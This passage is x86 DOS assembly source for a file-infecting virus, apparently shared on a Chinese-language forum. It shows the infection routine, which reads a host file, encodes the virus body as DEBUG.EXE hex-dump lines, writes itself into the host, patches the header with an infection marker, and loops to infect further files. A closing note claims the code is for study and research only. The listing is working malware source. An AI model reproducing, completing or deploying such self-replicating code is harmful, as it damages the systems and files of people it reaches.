    jc ExProg
    mov word ptr PTR1[2],ax ; Save pointer to allocated block

    mov cx,word ptr FILE_LENGTH
    sub cx,[HDR_SIZE]
    mov ah,3fh ; Read host file into memory block
    push ds
    lds dx,[PTR1]
    int 21h
    pop ds
    jc ExProg

    mov ax,4200h ; Reset file ptr to the middle code section
    xor cx,cx
    mov dx,[HDR_SIZE]
    add dx,Drop_BEGIN_SIZE
    int 21h
    jc ExProg

    ;
    ; The following code is a key technique. It simply converts the
    ; virus from binary to hex characters and then inserts them into the host
    ; using a standard format that DEBUG.EXE expects! Flash only really
    ; allows plain text, so this satisfies that condition.
    ;

    mov word ptr ACTION_LENGTH,(Drop_BEGIN_SIZE-9+Drop_END_SIZE)
    push bx
    mov cx,VIR_SIZE
    xor si,si
    xor di,di
    ToHex:
    mov bx,offset HEX ; Convert 8-bit binary number to a string representing a hex humber
    mov al,byte ptr Entry[si]
    mov ah,al
    and al,00001111y
    xlat
    mov Drop_MIDDLE[STATIC_HDR_SIZE+di+1],al
    shr ax,12
    xlat
    mov Drop_MIDDLE[STATIC_HDR_SIZE+di],al
    inc si
    inc di
    inc di
    inc di
    mov ax,si
    mov bl,24 ; Debug.exe can handle at most 24 defined bytes on 1 line.
    div bl
    or ah,ah
    jnz cont
    push cx
    xor di,di
    add word ptr ACTION_LENGTH,Drop_MIDDLE_SIZE
    mov bx,[HANDLE] ; Write hex dump entry XX,...,XX
    mov dx,offset Drop_MIDDLE
    mov cx,Drop_MIDDLE_SIZE
    mov ax,4000h
    int 21h
    jc ExProg
    pop cx
    cont:
    loop ToHex
    pop bx

    or di,di
    jz no_remainder

    mov dx,offset Drop_MIDDLE
    mov cx,di
    add cx,7 ; STATIC_HDR_SIZE-1
    add word ptr ACTION_LENGTH,cx
    mov ax,4000h ; Write remainder hex dump entry XX,...,XX
    int 21h
    jc ExProg

    no_remainder:
    mov dx,offset Drop_END
    mov cx,Drop_END_SIZE+1
    mov ax,4000h ; Write end code and end of frame tag(01) into host
    int 21h
    jc ExProg

    mov cx,word ptr FILE_LENGTH
    sub cx,[HDR_SIZE]
    mov ax,4000h ; Write host code directly after viral code.
    push ds
    lds dx,[PTR1]
    int 21h
    pop ds
    jc ExProg
    ; Patch the header with new viral values.
    mov cx,word ptr ACTION_LENGTH
    add cx,4
    mov word ptr TAG_LENGTH,cx
    add cx,6
    add word ptr FILE_LENGTH,cx ; Total file size increase = (TAG_LENGTH+6)
    ; Set infection marker
    mov byte ptr VERSION_NUM,099h

    mov di,[HDR_SIZE]
    inc word ptr [SIGN_FW+di-2] ; Increase Frame count by 1

    mov ax,4200h ; Re-wind to start of file
    xor cx,cx
    xor dx,dx
    int 21h
    jc ExProg

    mov dx,offset SIGN_FW
    mov cx,[HDR_SIZE]
    mov ax,4000h ; Write updated viral header
    int 21h
    jc ExProg

    mov dx,offset Drop_BEGIN
    mov cx,Drop_BEGIN_SIZE
    mov ax,4000h ; Write begin code into host
    int 21h
    jc ExProg

    mov ah,49h ; Free memory block
    mov es,word ptr PTR1[2]
    int 21h
    jc ExProg

    mov ax,3e00h ; Close file
    int 21h
    jc ExProg

    jmp Cycle ; DONE! Try to infect another.

    Virus_End:
    end Entry

    被复仇天说后,重新看了下文件,感觉有点问题 ,特重新更改标题。
    以上内容只供学习、研究使用,如果利用其来搞破坏或者是做些违法的事情。

  • » 阅读全文...